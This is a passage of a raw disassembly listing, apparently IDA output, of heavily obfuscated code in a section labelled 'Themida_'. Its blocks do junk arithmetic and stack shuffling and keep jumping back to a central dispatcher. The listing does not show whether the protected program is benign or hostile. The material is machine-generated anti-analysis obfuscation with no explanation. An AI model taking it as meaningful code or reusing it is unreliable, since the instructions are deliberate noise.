xor ebx, [esp+34h+var_34]
xor [esp+34h+var_34], ebx
push [esp+34h+var_34]
pop eax
add esp, 4
jmp loc_585C0B
; ---------------------------------------------------------------------------
loc_58A391: ; CODE XREF: sub_584787+448j
xor ebx, eax
jmp loc_5900AB
; ---------------------------------------------------------------------------
loc_58A398: ; CODE XREF: sub_584787+762Cj
not ebx
not ebx
not ebx
add ebx, 8DB1DBCh
xor ebp, ebx
pop ebx
sub ebp, 65F62B68h
sub ebp, 9DD6EBB2h
add edx, ebp
pop ebp
xchg edx, [esp+0]
mov esp, [esp+0]
movzx ecx, ax
push 74E9h
mov [esp+4+var_4], ecx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58A3CC: ; CODE XREF: sub_584787+9CECj
mov edx, [esp+4+var_4]
jmp loc_58479C
; ---------------------------------------------------------------------------
loc_58A3D4: ; CODE XREF: sub_584787+BDF3j
sub eax, ebx
sub eax, 3A8150Ah
add eax, 65662318h
push ecx
push esi
push 0FF97CF5h
pop esi
jmp loc_58E967
; ---------------------------------------------------------------------------
loc_58A3ED: ; CODE XREF: sub_584787+89CDj
add edx, 4
add edx, 4
xchg edx, [esp+0Ch+var_C]
jmp loc_58DC9F
; ---------------------------------------------------------------------------
loc_58A3FE: ; CODE XREF: sub_584787+2F67j
pop edi
push esi
mov esi, 37934F6Bh
xor esi, 37934F6Fh
push ebx
push 748B05C6h
mov ebx, [esp+0Ch+var_C]
jmp loc_59048C
; ---------------------------------------------------------------------------
loc_58A419: ; CODE XREF: sub_584787+1996j
mov ebx, 69AC4FCEh
inc ebx
not ebx
jmp loc_58A73E
; ---------------------------------------------------------------------------
loc_58A426: ; CODE XREF: sub_584787+7B98j
movzx cx, al
push 1594h
jmp loc_58AF45
; ---------------------------------------------------------------------------
loc_58A434: ; CODE XREF: sub_584787+2127j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58A439: ; CODE XREF: sub_584787+34F5j
xor word ptr [esp+40h+var_42+2], ax
pushf
jmp loc_58D686
; ---------------------------------------------------------------------------
loc_58A443: ; DATA XREF: Themida_:00584208o
mov cx, word ptr [esp+44h+var_46+2]
jmp loc_587039
; ---------------------------------------------------------------------------
loc_58A44C: ; CODE XREF: sub_584787+B355j
dec ebx
jmp loc_58ABBA
; ---------------------------------------------------------------------------
loc_58A452: ; CODE XREF: sub_584787+4C2Fj
pop edi
jmp loc_585FC6
; ---------------------------------------------------------------------------
loc_58A458: ; CODE XREF: sub_584787+1707j
push ebp
mov ebp, 2
sub ebx, 7A755C0h
add ebx, ebp
add ebx, 7A755C0h
jmp loc_5866AF
; ---------------------------------------------------------------------------
loc_58A471: ; CODE XREF: sub_584787+AF12j
mov [esp+18h+var_18], ebp
jmp loc_587B0F
; ---------------------------------------------------------------------------
loc_58A479: ; CODE XREF: sub_584787+6B32j
or edi, esi
jmp loc_58DD58
; ---------------------------------------------------------------------------
loc_58A480: ; CODE XREF: sub_584787+5480j
mov edi, eax
pop eax
push esi
jmp loc_58E70D
; ---------------------------------------------------------------------------
loc_58A489: ; CODE XREF: sub_584787+5340j
xor edi, 7CC75550h
add edx, edi
jmp loc_586558
; ---------------------------------------------------------------------------
loc_58A496: ; CODE XREF: sub_584787+3AA1j
sub al, 0A8h
pop ebx
push ecx
push eax
mov al, 0F3h
add al, 47h
not al
inc al
push ebx
jmp loc_58DCEC
; ---------------------------------------------------------------------------
loc_58A4A9: ; DATA XREF: Themida_:005843ECo
lodsd
xor eax, ebx
push 5959h
mov [esp+18h+var_18], ebx
push 74EED990h
push [esp+1Ch+var_1C]
pop ebx
push 0BF2h
mov [esp+20h+var_20], edi
mov edi, esp
push edx
jmp loc_584837
; ---------------------------------------------------------------------------
loc_58A4CD: ; CODE XREF: sub_584787+A303j
mov edi, ecx
pop ecx
jmp loc_584725
; ---------------------------------------------------------------------------
loc_58A4D5: ; CODE XREF: sub_584787+B2A0j
mov cx, word ptr [esp+20h+var_20]
add esp, 2
push dx
push 5EB2h
mov [esp+0], eax
mov al, 0A2h
dec al
jmp loc_58E90F
; ---------------------------------------------------------------------------
loc_58A4F2: ; CODE XREF: sub_584787+B5A8j
mov ecx, [esp+0]
add esp, 4
push ebp
mov ebp, esp
jmp loc_58D606
; ---------------------------------------------------------------------------
loc_58A503: ; CODE XREF: sub_584787+367Cj
mov ebp, 3275B48h
shr ebp, 6
jmp loc_58B6FC
; ---------------------------------------------------------------------------
loc_58A510: ; CODE XREF: sub_584787+941Dj
push ebp
mov ebp, 6EA27BD7h
jmp loc_584EEC
; ---------------------------------------------------------------------------
loc_58A51B: ; CODE XREF: sub_584787+39F9j
pop ebx
jmp loc_58D04B
; ---------------------------------------------------------------------------
loc_58A521: ; CODE XREF: sub_584787+B3BAj
push [esp+44h+var_46+2]
pop ebx
add esp, 4
add ebx, 48EE7A36h
add ecx, ebx
mov ebx, [esp+40h+var_42+2]
add esp, 4
jmp loc_584BB4
; ---------------------------------------------------------------------------
loc_58A53E: ; CODE XREF: sub_584787+4FD3j
mov esi, 0ABD68DAh
push 0
sub [esp+2Eh+var_30+2], esi
mov esi, [esp+2Eh+var_30+2]
add esp, 4
jmp loc_58AD18
; ---------------------------------------------------------------------------
loc_58A556: ; CODE XREF: sub_584787+7306j
xchg eax, [esp+2Ah+var_2C+2]
mov edx, [esp+2Ah+var_2C+2]
add esp, 4
xor [esp+26h+var_26], edx
jmp loc_588723
; ---------------------------------------------------------------------------
loc_58A56A: ; CODE XREF: sub_584787+3F14j
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58A56F: ; CODE XREF: sub_584787+BFAEj
pop ebx
pop eax
push cx
mov cl, 74h
add dh, cl
jmp loc_587BA4
; ---------------------------------------------------------------------------
loc_58A57C: ; DATA XREF: Themida_:00584354o
mov ax, word ptr [esp+18h+var_18]
push edi
push 0C9Dh
mov [esp+20h+var_20], esp
jmp loc_58D710
; ---------------------------------------------------------------------------
loc_58A58E: ; CODE XREF: sub_584787+97C1j
sub edi, 72BD3029h
add edi, 1AE41B3h
not edi
sub edi, 3F9C6AA6h
jmp loc_58E825
; ---------------------------------------------------------------------------
loc_58A5A7: ; CODE XREF: sub_584787+4C35j
push 140A5EB6h
pop ecx
and ecx, 23D86E16h
and ecx, 3FF80389h
xor ecx, 1D7071F5h
mov esi, ecx
pop ecx
dec esi
push edi
mov edi, 0FFFFFFFFh
add esi, edi
pop edi
jmp loc_58AF1C
; ---------------------------------------------------------------------------
loc_58A5D1: ; CODE XREF: sub_584787+A399j
pop edi
push ebx
push [esp+34h+var_30]
mov ebx, [esp+38h+var_38]
add esp, 4
pop [esp+34h+var_34]
mov esp, [esp+30h+var_30]
push esi
push esp
pop esi
jmp loc_5871B8
; ---------------------------------------------------------------------------
loc_58A5EE: ; CODE XREF: sub_584787+2B62j
push eax
mov eax, 83D4174h
mov ebx, 74FC2142h
add ebx, 20B82844h
sub ebx, 10012FBEh
add ebx, eax
jmp loc_58E89E
; ---------------------------------------------------------------------------
loc_58A60C: ; CODE XREF: sub_584787+90BCj
push ebp
jmp loc_5855BF
; ---------------------------------------------------------------------------
loc_58A612: ; CODE XREF: sub_584787+2DDBj
add esp, 4
xor ch, dh
xor dh, ch
xor ch, dh
push ebx
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+1Eh+var_20+2]
pop esp
mov [esp+1Ah+var_1C+2], eax
jmp loc_588A18
; ---------------------------------------------------------------------------
loc_58A634: ; CODE XREF: sub_584787+507j
add esp, 4
sub edi, 28504DC5h
mov ebp, edi
pop edi
add esi, ebp
mov ebp, [esp+0]
add esp, 4
xchg esi, [esp-4+arg_0]
pop esp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58A654: ; CODE XREF: sub_584787+97E5j
add eax, ebx
pop ebx
push 3769h
mov [esp-8+arg_4], edx
push 24BEh
mov [esp-4+arg_0], esi
mov esi, 6E5B096Bh
jmp loc_584D21
; ---------------------------------------------------------------------------
loc_58A671: ; CODE XREF: sub_584787+1142j
mov ch, 6Eh
sub bl, ch
pop cx
sub bl, 65h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+24h+var_26+2]
jmp loc_58A05F
; ---------------------------------------------------------------------------
loc_58A691: ; CODE XREF: sub_584787+6790j
mov ecx, 54516A68h
shl ecx, 1
shl ecx, 2
sub ecx, 658E2EA5h
jmp loc_58C2A5
; ---------------------------------------------------------------------------
loc_58A6A6: ; CODE XREF: sub_584787+739Aj
mov ebp, [esp+24h+var_26+2]
add esp, 4
push edx
mov edx, 1E2C09B2h
push ecx
mov ecx, 0FFFFFFFFh
sub edx, ecx
pop ecx
dec edx
add edx, 0E1D3F652h
sub ebp, 405F3901h
add ebp, edx
jmp loc_589147
; ---------------------------------------------------------------------------
loc_58A6CF: ; CODE XREF: sub_584787+6511j
add edx, esi
pop esi
shr edx, 6
jmp loc_5867D4
; ---------------------------------------------------------------------------
loc_58A6DA: ; CODE XREF: sub_584787+85D9j
dec ebp
add ebp, 1
push edx
push esi
push edi
mov edi, 60F53DC4h
jmp loc_58F9EE
; ---------------------------------------------------------------------------
loc_58A6EE: ; CODE XREF: sub_584787+5211j
xchg eax, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_588CE5
; ---------------------------------------------------------------------------
loc_58A6F9: ; CODE XREF: sub_584787+37A3j
mov [esp+54h+var_54], edx
push dword ptr [esp+4]
jmp loc_5905DA
; ---------------------------------------------------------------------------
loc_58A705: ; CODE XREF: sub_584787+7624j
mov eax, 3E85121Bh
sub ecx, eax
pop eax
and ecx, 62A23D5Eh
shl ecx, 5
push esi
push edi
jmp loc_58F2DC
; ---------------------------------------------------------------------------
loc_58A71D: ; DATA XREF: Themida_:00584214o
mov ax, word ptr [esp+5Ch+var_5C]
push ebx
mov ebx, esp
add ebx, 4
push edi
mov edi, 1ED517A0h
shl edi, 2
add edi, 6D291915h
jmp loc_586879
; ---------------------------------------------------------------------------
loc_58A73E: ; CODE XREF: sub_584787+5C9Aj
dec ebx
shr ebx, 4
jmp loc_5853C6
; ---------------------------------------------------------------------------
loc_58A747: ; CODE XREF: sub_584787+3D19j
pop eax
push ecx
push eax
mov al, 0B4h
sub al, 0B6h
jmp loc_58EA2F
; ---------------------------------------------------------------------------
loc_58A753: ; CODE XREF: sub_584787+9E51j
add esp, [edx+38h]
jmp loc_58B58B
; ---------------------------------------------------------------------------
loc_58A75B: ; CODE XREF: sub_584787+70F8j
sub [esp+arg_0], 2B395AD7h
jmp loc_58C808
; ---------------------------------------------------------------------------
loc_58A768: ; CODE XREF: sub_584787+9427j
xor ecx, ebp
mov ebp, [esp+0]
add esp, 4
jmp loc_58BD4C
; ---------------------------------------------------------------------------
loc_58A778: ; CODE XREF: sub_584787+96B1j
xor ebx, 65E36CA6h
sub ebx, 7126742Dh
jmp loc_5846C0
; ---------------------------------------------------------------------------
loc_58A789: ; CODE XREF: sub_584787+58E0j
mov edi, 23B80860h
dec edi
neg edi
and edi, 69E11CF7h
jmp loc_5858D4
; ---------------------------------------------------------------------------
loc_58A79C: ; CODE XREF: sub_584787+7565j
mov ch, bh
push ebx
jmp loc_58945D
; ---------------------------------------------------------------------------
loc_58A7A4: ; CODE XREF: sub_584787+2CEBj
push eax
push edx
mov edx, 0A3E1564h
jmp loc_58CBAF
; ---------------------------------------------------------------------------
loc_58A7B0: ; CODE XREF: sub_584787+3134j
add esp, 4
push eax
jmp loc_58D0FB
; ---------------------------------------------------------------------------
loc_58A7BC: ; CODE XREF: sub_584787+679Bj
push esi
xchg edi, [esp+4Ch+var_4E+2]
not edi
xchg edi, [esp+4Ch+var_4E+2]
pop esi
jmp loc_58FA6B
; ---------------------------------------------------------------------------
loc_58A7CB: ; CODE XREF: sub_584787+B9D6j
add ebx, 2E472166h
jmp loc_586EDE
; ---------------------------------------------------------------------------
loc_58A7D6: ; CODE XREF: sub_584787+A6DEj
sub esp, 4
mov [esp+4Ch+var_4E+2], edx
jmp loc_5903FC
; ---------------------------------------------------------------------------
loc_58A7E1: ; CODE XREF: sub_584787+6C1Aj
mov ebx, 9AB213Dh
shr ebx, 6
jmp loc_5860D3
; ---------------------------------------------------------------------------
word_58A7EE dw 8B66h ; DATA XREF: Themida_:00584224o
dd 81522404h, 4ECh, 0C9F4E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_58A7FE: ; DATA XREF: Themida_:005842BCo
push 711Bh
jmp loc_58BB5C
; ---------------------------------------------------------------------------
mov ax, [esp+0]
sub esp, 4
jmp loc_58A851
; ---------------------------------------------------------------------------
loc_58A814: ; CODE XREF: sub_584787+9D76j
mov ebx, [esp+54h+var_54]
add esp, 4
add al, 0A1h
push edx
mov dh, 0E6h
sub esp, 4
mov [esp+58h+var_58], ecx
jmp loc_58E483
; ---------------------------------------------------------------------------
loc_58A82D: ; CODE XREF: sub_584787+6FA5j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_58EB02
; ---------------------------------------------------------------------------
loc_58A841: ; CODE XREF: sub_584787+BF9Ej
shr esi, 4
xor esi, 3C0FE490h
add eax, esi
jmp loc_588BC4
; ---------------------------------------------------------------------------
loc_58A851: ; CODE XREF: sub_584787+6088j
mov [esp+54h+var_54], edi
sub esp, 4
jmp loc_58F7CC
; ---------------------------------------------------------------------------
loc_58A85F: ; CODE XREF: sub_584787+4EA3j
mov esi, [esp+6+var_8+2]
add esp, 4
push 7AE1h
mov [esp+6+var_8+2], edx
mov edx, 4CCE7BD9h
xor edx, 4CCE7BDDh
add esi, edx
pop edx
add esi, 4
sub esp, 4
jmp loc_589879
; ---------------------------------------------------------------------------
loc_58A889: ; CODE XREF: sub_584787+1A0Cj
push esi
mov esi, 33BA47C4h
jmp loc_585F4B
; ---------------------------------------------------------------------------
loc_58A894: ; CODE XREF: Themida_:0058F76Cj
add ecx, 5D4A6B6Eh
add ecx, eax
sub ecx, 5D4A6B6Eh
pop eax
push 69DAh
mov [esp+34h+var_34], ebx
push ebp
mov ebp, 74332B2Ah
mov ebx, 0DF4F7EBDh
jmp loc_58B707
; ---------------------------------------------------------------------------
loc_58A8BB: ; CODE XREF: sub_584787+5437j
xor [esp+2Eh+var_30+2], edx
xor edx, [esp+2Eh+var_30+2]
xor [esp+2Eh+var_30+2], edx
xchg ecx, edx
not ecx
xchg ecx, edx
push edx
push [esp+32h+var_30+2]
mov edx, [esp+36h+var_38+2]
add esp, 4
pop [esp+32h+var_34+2]
jmp loc_588404
; ---------------------------------------------------------------------------
loc_58A8E0: ; CODE XREF: sub_584787+4EFFj
push edi
mov edi, 740E3816h
sub edi, 396C2819h
dec edi
shr edi, 8
not edi
xor edi, 0FFC55DF4h
add edx, 35B11AB4h
add edx, edi
sub edx, 35B11AB4h
mov edi, [esp+16h+var_18+2]
add esp, 4
add edx, 4
xchg edx, [esp+12h+var_14+2]
jmp loc_584F53
; ---------------------------------------------------------------------------
loc_58A91D: ; CODE XREF: sub_584787+1B1Aj
shr ecx, 4
and ecx, 33AD741Ch
or ecx, 2B2C47FDh
shl ecx, 8
jmp loc_58CABE
; ---------------------------------------------------------------------------
loc_58A934: ; CODE XREF: sub_584787+1A6Fj
xchg ecx, ebp
sub ebp, 9C18CB9h
add edi, ebp
jmp loc_5884A5
; ---------------------------------------------------------------------------
loc_58A943: ; CODE XREF: sub_584787+B955j
inc eax
xchg eax, ecx
or ecx, 427A7324h
push esi
mov esi, 30F63360h
not esi
push ebx
mov ebx, 1844CD5h
and esi, ebx
pop ebx
and esi, 1FB164FAh
jmp loc_585D93
; ---------------------------------------------------------------------------
loc_58A967: ; CODE XREF: sub_584787+AFFDj
shr eax, 2
sub eax, 2C72621Ch
push edi
mov edi, 45E09E25h
add eax, edi
pop edi
xor ebp, eax
pop eax
add eax, ebp
mov ebp, [esp+18h+var_18]
add esp, 4
push 661Bh
mov [esp+18h+var_18], esi
mov esi, 4E326AA5h
jmp loc_585793
; ---------------------------------------------------------------------------
loc_58A998: ; CODE XREF: sub_584787+2A33j
mov esi, 0FF04E14h
mov eax, esi
pop esi
shr eax, 6
sub eax, 1
jmp loc_58F7EA
; ---------------------------------------------------------------------------
loc_58A9AB: ; CODE XREF: sub_584787+57A7j
xor edi, [esp+4+var_4]
pop esp
mov fs:[edx], al
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58A9B7: ; CODE XREF: sub_584787+785j
mov eax, edx
pop edx
jmp loc_58AB55
; ---------------------------------------------------------------------------
loc_58A9BF: ; CODE XREF: sub_584787+924Ej
mov cx, word ptr [esp+14h+var_14]
jmp loc_58B7AA
; ---------------------------------------------------------------------------
loc_58A9C8: ; CODE XREF: sub_584787+714Aj
push 3B8Ah
mov [esp+18h+var_18], ecx
sub esp, 4
jmp loc_58EB73
; ---------------------------------------------------------------------------
loc_58A9DB: ; CODE XREF: sub_584787+8ABCj
sub edx, 7AD9449Bh
jmp loc_58841E
; ---------------------------------------------------------------------------
loc_58A9E6: ; CODE XREF: sub_584787+B46Cj
xchg ebp, [esp+1Ch+var_1C]
mov esp, [esp+1Ch+var_1C]
sub eax, 4
xor eax, [esp+1Ch+var_1C]
jmp loc_5899C5
; ---------------------------------------------------------------------------
loc_58A9F9: ; CODE XREF: sub_584787+4AAEj
sub eax, 2B8B126Bh
add eax, edx
add eax, 2B8B126Bh
push ebp
mov ebp, 0A4334F5h
sub eax, ebp
jmp loc_5897D1
; ---------------------------------------------------------------------------
loc_58AA12: ; CODE XREF: sub_584787+3477j
mov [esp+8+var_8], ebx
push eax
mov eax, 509835CFh
add [esp+0Ch+var_8], eax
mov eax, [esp+0Ch+var_C]
add esp, 4
pop eax
push edx
push ecx
mov ecx, 500B2C73h
xor ecx, 0CAA5B39h
sub ecx, 6BBE2CCAh
sub ecx, 0D7B82B41h
mov edx, 5CAA214Eh
sub edx, 238020F5h
add edx, ecx
add edx, 238020F5h
pop ecx
shr edx, 5
push edi
mov edi, 11E54C32h
and edi, 291F38ABh
jmp loc_586260
; ---------------------------------------------------------------------------
loc_58AA6A: ; CODE XREF: sub_584787+2FA8j
xor edx, 726696E0h
mov esi, 0DDD7A45h
sub esi, edx
pop edx
sub esi, 628B18FFh
xor esi, 0A4F9120Fh
add ebx, esi
pop esi
add ebx, 4
xor ebx, [esp-8+arg_4]
jmp loc_58FC02
; ---------------------------------------------------------------------------
loc_58AA95: ; CODE XREF: sub_584787+9792j
add esi, 0D5C4E004h
add ebx, esi
pop esi
jmp loc_58B3B3
; ---------------------------------------------------------------------------
loc_58AAA3: ; CODE XREF: sub_584787+BAE3j
pop edx
pop ax
and ch, 50h
neg ch
push bx
jmp loc_5889F6
; ---------------------------------------------------------------------------
loc_58AAB2: ; CODE XREF: sub_584787+B1C6j
xor edx, ebx
xor [esp+0], edx
xor edx, [esp+0]
xor [esp+0], edx
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58AAC2: ; CODE XREF: sub_584787+8A6Aj
sub ecx, 4
xchg ecx, [esp+0]
pop esp
mov [esp-14h+arg_E+2], ebx
push 7825h
mov [esp+0], esp
add dword ptr [esp+0], 4
mov ebx, [esp+0]
add esp, 4
push ecx
jmp loc_585E7E
; ---------------------------------------------------------------------------
loc_58AAE7: ; CODE XREF: sub_584787+9495j
or ah, 41h
neg ah
shl ah, 1
jmp loc_58727B
; ---------------------------------------------------------------------------
loc_58AAF3: ; CODE XREF: sub_584787+3F32j
xchg ebp, ecx
sub ecx, 17105EEh
dec ecx
push 7727h
mov [esp+38h+var_38], ebp
mov ebp, 11641006h
xor ecx, ebp
pop ebp
jmp loc_58CD11
; ---------------------------------------------------------------------------
loc_58AB11: ; CODE XREF: sub_58FB73+6j
xor [esp+34h+var_34], edx
jmp loc_586122
; ---------------------------------------------------------------------------
loc_58AB19: ; CODE XREF: sub_584787+658j
push edx
mov dh, 8Bh
and dh, 7
jmp loc_586F20
; ---------------------------------------------------------------------------
loc_58AB24: ; CODE XREF: sub_584787+A1FFj
mov ecx, [esp+14h+var_14]
jmp loc_5868B3
; ---------------------------------------------------------------------------
loc_58AB2C: ; CODE XREF: sub_584787+435Ej
push ebx
push eax
jmp loc_58CB6E
; ---------------------------------------------------------------------------
loc_58AB33: ; CODE XREF: sub_584787+74DCj
add ecx, 775E56DFh
add ecx, ebx
sub ecx, 775E56DFh
mov ebx, [esp+10h+var_10]
add esp, 4
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
jmp loc_58698F
; ---------------------------------------------------------------------------
loc_58AB55: ; CODE XREF: sub_584787+6233j
sub edi, eax
pop eax
mov eax, edi
jmp loc_58A238
; ---------------------------------------------------------------------------
loc_58AB5F: ; CODE XREF: sub_584787+B5B9j
add [esp+10h+var_C], eax
sub [esp+10h+var_C], 498A4540h
pop eax
jmp loc_585C91
; ---------------------------------------------------------------------------
loc_58AB71: ; CODE XREF: sub_584787+9CB1j
push 421Fh
mov [esp+10h+var_10], ebp
push 5DDBh
mov [esp+14h+var_14], eax
mov eax, 5A48121Eh
mov ebp, 3F201EBBh
xor ebp, eax
pop eax
add eax, ebp
mov ebp, [esp+10h+var_10]
jmp loc_588FC6
; ---------------------------------------------------------------------------
loc_58AB98: ; CODE XREF: sub_584787+7D9Cj
add [esp+10h+var_C], edx
jmp loc_58D127
; ---------------------------------------------------------------------------
loc_58ABA1: ; CODE XREF: sub_584787+8723j
mov edi, esi
pop esi
or edi, 5D101AA2h
shr edi, 1
or edi, 7FA7464Ah
shr edi, 8
jmp loc_58B7D2
; ---------------------------------------------------------------------------
loc_58ABBA: ; CODE XREF: sub_584787+5CC6j
shl ebx, 8
and ebx, 7302381Dh
sub ebx, 7AEB4BAAh
jmp loc_585E93
; ---------------------------------------------------------------------------
loc_58ABCE: ; CODE XREF: sub_584787+69ADj
neg bl
xchg dl, bl
jmp loc_58B3E1
; ---------------------------------------------------------------------------
loc_58ABD7: ; CODE XREF: sub_584787+5994j
push [esp+1Eh+var_20+2]
pop edx
add esp, 4
add esp, 4
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58ABEC: ; CODE XREF: sub_584787+A35Bj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+1Ah+var_1C+2]
pop esp
push ebx
jmp loc_584D03
; ---------------------------------------------------------------------------
loc_58AC02: ; CODE XREF: sub_584787+A869j
xor ch, 98h
xor ch, 0D2h
add ch, 0A5h
sub ch, 52h
shl ch, 1
shl ch, 5
not ch
add ch, 16h
neg ch
shl ch, 7
or ch, 58h
sub ch, 0D6h
add ch, 37h
add al, ch
pop ecx
pop ecx
sub al, bl
push 1E93h
mov [esp+16h+var_18+2], ebx
mov bh, 71h
not bh
sub esp, 4
mov [esp+1Ah+var_1C+2], edx
mov dh, 0Fh
xor dh, 5Bh
or bh, dh
pop edx
sub bh, 0B2h
add bh, 0A9h
push small 0
jmp loc_58B917
; ---------------------------------------------------------------------------
loc_58AC58: ; CODE XREF: sub_584787-5j
push edi
mov edi, 4
add ebx, 66365A45h
add ebx, edi
sub ebx, 66365A45h
mov edi, [esp+0Eh+var_10+2]
add esp, 4
sub esp, 4
jmp loc_58EEE8
; ---------------------------------------------------------------------------
loc_58AC80: ; CODE XREF: sub_584787+6BEEj
mov cl, bl
jmp loc_58B7B8
; ---------------------------------------------------------------------------
loc_58AC87: ; CODE XREF: sub_584787+B216j
pop ebp
and edx, edi
pop edi
push 36E2h
mov [esp+0Ah+var_C+2], esi
mov esi, 164B6834h
jmp loc_58A6CF
; ---------------------------------------------------------------------------
loc_58AC9D: ; CODE XREF: sub_584787+A6E6j
add eax, 4
add eax, 4
xchg eax, [esp+0Ah+var_C+2]
pop esp
movzx eax, al
lea eax, [edi+eax*4]
jmp loc_58C8EF
; ---------------------------------------------------------------------------
loc_58ACB6: ; CODE XREF: sub_584787+B6AAj
push esi
mov esi, 2
add edi, esi
pop esi
xor edi, [esp+6+var_8+2]
jmp loc_58BC68
; ---------------------------------------------------------------------------
loc_58ACC7: ; CODE XREF: sub_584787+73BFj
pop ecx
jmp loc_58598E
; ---------------------------------------------------------------------------
loc_58ACCD: ; CODE XREF: sub_584787+B881j
pop edx
push 3D0h
mov [esp+2+var_4+2], ebx
jmp loc_58FB7E
; ---------------------------------------------------------------------------
loc_58ACDB: ; CODE XREF: sub_584787+79CDj
shl dl, 1
add dl, 40h
add bl, dl
jmp loc_5854C7
; ---------------------------------------------------------------------------
loc_58ACE7: ; DATA XREF: Themida_:0058432Co
push [esp+2+var_4+2]
jmp loc_58E91E
; ---------------------------------------------------------------------------
loc_58ACEF: ; CODE XREF: sub_584787+9834j
dec bh
add bh, 56h
mov dh, bh
pop ebx
jmp loc_589B24
; ---------------------------------------------------------------------------
loc_58ACFC: ; CODE XREF: sub_584787+8FE5j
sub al, 0
pop ebx
add al, ch
sub al, 3Eh
push dword ptr [esp+0]
jmp loc_58B19F
; ---------------------------------------------------------------------------
loc_58AD0B: ; CODE XREF: sub_584787+A08Bj
mov esp, [esp+2+var_4+2]
push 7DB1h
jmp loc_590278
; ---------------------------------------------------------------------------
loc_58AD18: ; CODE XREF: sub_584787+5DCAj
xor esi, 4B79706Ah
add esi, 17F07B65h
jmp loc_58C71B
; ---------------------------------------------------------------------------
loc_58AD29: ; CODE XREF: sub_584787+5258j
add ebp, 4
jmp loc_587668
; ---------------------------------------------------------------------------
loc_58AD34: ; CODE XREF: sub_584787+8585j
mov edi, 4
add ebx, edi
pop edi
sub esp, 4
mov [esp+18h+var_18], edx
push eax
mov eax, 60C7044Ch
or eax, 12620BEFh
sub eax, 72E70FEDh
mov edx, eax
pop eax
add ebx, edx
pop edx
push ebx
push [esp+18h+var_14]
push [esp+1Ch+var_1C]
pop ebx
jmp loc_58D9CC
; ---------------------------------------------------------------------------
loc_58AD69: ; CODE XREF: sub_584787+BC02j
or ah, 9
inc ah
sub ah, 6Ah
xor ah, 86h
mov dh, ah
pop eax
xor al, dh
mov dx, word ptr [esp+18h+var_18]
sub esp, 4
jmp loc_58705C
; ---------------------------------------------------------------------------
loc_58AD85: ; CODE XREF: sub_584787+9530j
pop esp
jmp loc_585A16
; ---------------------------------------------------------------------------
loc_58AD8B: ; CODE XREF: sub_584787+637j
pop edx
jmp loc_588ABB
; ---------------------------------------------------------------------------
loc_58AD91: ; DATA XREF: Themida_:005841D4o
pop dword ptr [edx]
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58AD98: ; CODE XREF: sub_584787+9ACBj
sub esi, 0C0113FFh
sub eax, esi
pop esi
xchg eax, [esp+4+var_4]
pop esp
mov [esp+0], ebx
mov ebx, 74C556FBh
push eax
mov eax, 74C556FBh
sub ebx, eax
mov eax, [esp+4+var_4]
add esp, 4
mov [edi+24h], ebx
pop ebx
xor edx, edx
push ecx
push esp
pop ecx
jmp loc_584B29
; ---------------------------------------------------------------------------
loc_58ADCC: ; CODE XREF: sub_584787+35E2j
mov [esp+10h+var_10], esi
push esp
pop esi
push ecx
jmp loc_58F72D
; ---------------------------------------------------------------------------
loc_58ADD7: ; CODE XREF: sub_584787+4438j
xor esi, 27524C78h
add esi, 81D0A78Ch
mov edx, esi
pop esi
push ebx
push esi
mov esi, 7E394CBEh
jmp loc_5853F2
; ---------------------------------------------------------------------------
loc_58ADF2: ; CODE XREF: sub_584787+577j
inc ecx
not ecx
add ecx, 0DC8F9864h
jmp loc_588D72
; ---------------------------------------------------------------------------
loc_58AE00: ; CODE XREF: sub_584787+24E9j
mov [esp-8+arg_4], ecx
sub esp, 4
jmp loc_58F624
; ---------------------------------------------------------------------------
loc_58AE0B: ; CODE XREF: sub_584787+B50Bj
add ebp, 0BA7A9049h
push ebx
mov ebx, 23940687h
push edx
mov edx, 6E7A7EFEh
sub ebx, edx
pop edx
xor ebx, 9E1BAF4Eh
add edx, ebx
mov ebx, [esp+0]
add esp, 4
add edx, ebp
push edi
mov edi, 1358601Ch
dec edi
jmp loc_58A1E5
; ---------------------------------------------------------------------------
loc_58AE3F: ; CODE XREF: sub_584787+1D03j
push 6CFEh
mov [esp+20h+var_20], esi
mov esi, esp
jmp loc_586C5B
; ---------------------------------------------------------------------------
loc_58AE4E: ; CODE XREF: sub_584787+696Bj
mov ecx, 0C317F887h
add ecx, 1DE6579Eh
add ecx, ebx
jmp loc_58E4A1
; ---------------------------------------------------------------------------
loc_58AE60: ; CODE XREF: sub_584787+892Aj
pop edi
xchg edx, [esp+1Ch+var_1C]
jmp loc_585133
; ---------------------------------------------------------------------------
loc_58AE69: ; CODE XREF: sub_584787+1747j
sub edx, 4A231F51h
sub edx, 148D0A64h
pop ebp
pop eax
jmp loc_58D8FA
; ---------------------------------------------------------------------------
loc_58AE7C: ; CODE XREF: sub_584787+9F31j
inc ebx
jmp loc_58BD33
; ---------------------------------------------------------------------------
loc_58AE82: ; CODE XREF: sub_584787+A9BCj
add esp, 4
push 0C76h
jmp loc_5889CB
; ---------------------------------------------------------------------------
loc_58AE8F: ; CODE XREF: sub_584787+7F8Fj
push 3802h
jmp loc_58E798
; ---------------------------------------------------------------------------
loc_58AE99: ; CODE XREF: sub_584787+854Cj
push ebx
jmp loc_58EF77
; ---------------------------------------------------------------------------
loc_58AE9F: ; CODE XREF: sub_584787+57AEj
sub eax, 5ADD58A9h
mov edx, [esp+0Ch+var_C]
add esp, 4
push edi
jmp loc_584A03
; ---------------------------------------------------------------------------
loc_58AEB3: ; CODE XREF: sub_584787+B726j
mov edx, [esp+0Ch+var_C]
jmp loc_58C559
; ---------------------------------------------------------------------------
loc_58AEBB: ; CODE XREF: sub_584787+7613j
xchg eax, [esp+0Ch+var_C]
pop esp
jmp loc_584473
; ---------------------------------------------------------------------------
loc_58AEC4: ; CODE XREF: sub_584787+22B3j
xor ecx, 1F2049EEh
jmp loc_58E761
